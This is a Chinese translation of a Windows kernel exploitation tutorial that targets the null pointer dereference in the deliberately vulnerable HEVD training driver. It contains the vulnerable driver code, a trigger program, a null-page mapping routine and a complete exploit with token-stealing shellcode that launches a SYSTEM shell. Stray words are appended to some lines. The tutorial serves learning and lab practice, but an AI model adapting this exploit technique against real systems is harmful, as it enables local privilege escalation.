Windows 內核漏洞學習—空指針解引用

原標題:Windows Kernel Exploitation – NullPointer Dereferencehtml

原文地址:https://osandamalith.com/2017...
由prison翻譯整理,首發i春秋git

引言:Windows內核漏洞的利用和學習一直是衆多白帽子心中的痛,相對於web安全來講內核學習方面的文章實在太少,今天爲你們帶來的是Windows內核內核安全學習較爲基礎的文章,步驟完善,適合初學者。難度:三顆星github

今天我要分享的是在HackSy**treme練習程序中對於空指針解引用漏洞的利用方法。web

漏洞概述:資源在這: https://github.com/hacksystea...**tremeVulnerableDriver/blob/master/Driver/NullPointerDereference.cshell

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
  
    PAGED_CODE();
  
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
  
        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);
  
        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
  
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
  
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
  
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
  
        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
  
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
  
            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
  
            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }
  
#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
  
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
  
    return Status;
}

如你所見,在源代碼中你能夠很清楚的看到程序的一切操做。在第42行,將「userValue」與值「0xBAD0B0B0」進行比較,若是在第58行失敗,則「NullPointerDereference」值被設置爲NULL,在第73行中,值「NullPointerDereference」在調用回調函數以前沒有被驗證。windows

讓咱們把它拆開來看。能夠看到,若是提供的「MagicValue」是錯誤的,那麼「NullPointerDereference」的值將被設置爲NULL,以免指針掛起。安全

xor esi, esi

圖片描述

可是在最後一行,當回調函數被調用時,「NullPointerDereference」的值沒有被驗證,它是NULL。所以,這致使了一個BSOD,不過,有一個例外處理程序能夠避免這一點。ide

圖片描述

測試漏洞我將使用這個驅動程序頭文件中提供的IOCTL值。函數

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

如今將0xBAD0B0B0做爲用戶輸入賦值給」MagicValue’web安全

圖片描述

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
  
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
  
int _tmain(int argc, _TCHAR* argv[]) {
    HANDLE hDevice;
    DWORD lpBytesReturned;
    PVOID pMemoryAddress = NULL;
    LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
    ULONG MagicValue = 0xBAD0B0B0;
  
    hDevice = CreateFile(
        lpDeviceName,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
  
    wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
    wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
  
    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
        return 1;
    }
  
    wprintf(L"[+] Sending IOCTL request\n");
  
    DeviceIoControl(
        hDevice,
        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
        (LPVOID)&MagicValue,
        NULL,
        NULL,
        0,
        &lpBytesReturned,
        NULL);
  
    CloseHandle(hDevice);
  
    return 0;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp

而後你會看到,屏幕中打印出「[+] Null Pointer Dereference Object Callback」字樣,這說明回調函數執行成功。

而若是咱們想搞點不同的姿式的話能夠傳遞一個錯誤的「MagicValue」值,好比「0xBaadBabe」,因爲異常被處理,BSOD將被阻止。

ULONG MagicValue = 0xBaadBabe;

圖片描述

我在這搞了個斷點。

call dword ptr [esi+4]

圖片描述

一旦我用錯誤的「MagicValue」觸發漏洞,咱們就會碰到斷點。如今的問題是在地址0×00000004上分配咱們的指針到shell代碼。

圖片描述

如何在0×4分配DWORD?

像VirtualAlloc或VirtualAlloc這樣的函數不容許咱們在小於0×00001000的起始地址分配內存。所以,咱們將不得不使用NTAPI無參數函數的「NtAllocateVirtualMemory」來在用戶空間中映射一個空頁,而後,咱們能夠在地址0×00000004上寫一個指向shell代碼的指針。

NTSTATUS NtAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

https://undocumented.ntinternals.net

下面是一個示例代碼,我在地址0×4中分配了值「0×12345678」

#include "stdafx.h"
#include <windows.h>
  
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );
    
int _tmain(int argc, _TCHAR* argv[]) {
  
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
      
    if (!NtAllocateVirtualMemory) {
        wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        return -1;
    }
      
    PVOID BaseAddress = (PVOID)0x1;
    SIZE_T RegionSize = 1024; 
  
    NTSTATUS ntStatus = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &BaseAddress,
        0,
        &RegionSize,
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE 
        );
  
    PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
    *(PULONG)ShellcodePtr = (ULONG)0x12345678;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp

若是咱們檢查內存轉儲,咱們能夠看到咱們在地址0×4中成功地分配了一個DWORD。

圖片描述

最終利用咱們如今能夠綜合一下上述所獲得的全部線索,把咱們的shell代碼寫到0×4並傳遞一個錯誤的「MagicValue」值來觸發漏洞。

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Shlobj.h>
  
  
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
  
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
  
  
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );
  
VOID TokenStealingShellcodeWin7() {
    __asm {
        ; initialize
            pushad; save registers state
  
            xor eax, eax; Set zero
            mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
  
            mov ecx, eax; Copy current _EPROCESS structure
  
            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
  
        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
  
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
            ; to current process
            popad; restore registers state
    }
}
  
int _tmain(void)
{
    HANDLE hDevice;
    DWORD lpBytesReturned;
    PVOID pMemoryAddress = NULL;
    LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    ULONG MagicValue = 0xBaadBabe;
  
    hDevice = CreateFile(
        lpDeviceName,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
  
    wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
    wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
  
    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
        return -1;
    }
  
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
  
    if (!NtAllocateVirtualMemory) {
        wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        return -1;
    }
  
    PVOID BaseAddress = (PVOID)0x1;
    SIZE_T RegionSize = 1024;
  
    NTSTATUS ntStatus = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &BaseAddress,
        0,
        &RegionSize,
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE
        );
  
    PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
    *(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7;
  
    wprintf(L"[+] Sending IOCTL request\n");
  
    DeviceIoControl(
        hDevice,
        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
        (LPVOID)&MagicValue,
        NULL,
        NULL,
        0,
        &lpBytesReturned,
        NULL);
  
    ZeroMemory(&si, sizeof si);
    si.cb = sizeof si;
    ZeroMemory(&pi, sizeof pi);
  
    IsUserAnAdmin() ?
  
    CreateProcess(
        L"C:\\Windows\\System32\\cmd.exe",
        L"/T:17",
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        (STARTUPINFO *)&si,
        (PROCESS_INFORMATION *)&pi) :
  
    wprintf(L"[!] Exploit Failed!");
  
    CloseHandle(hDevice);
    return 0;
}

https://github.com/OsandaMali...如今 在「calldword ptr [esi+4]」這個設置斷點的地方, 驗證咱們的exp而且查看內存中0×4的位置。

圖片描述
而後咱們檢查它指向哪裏,能夠看出它正在指向咱們的token竊取代碼。

圖片描述
OK~大功告成,這是咱們拿到的shell。

圖片描述

相關文章
相關標籤/搜索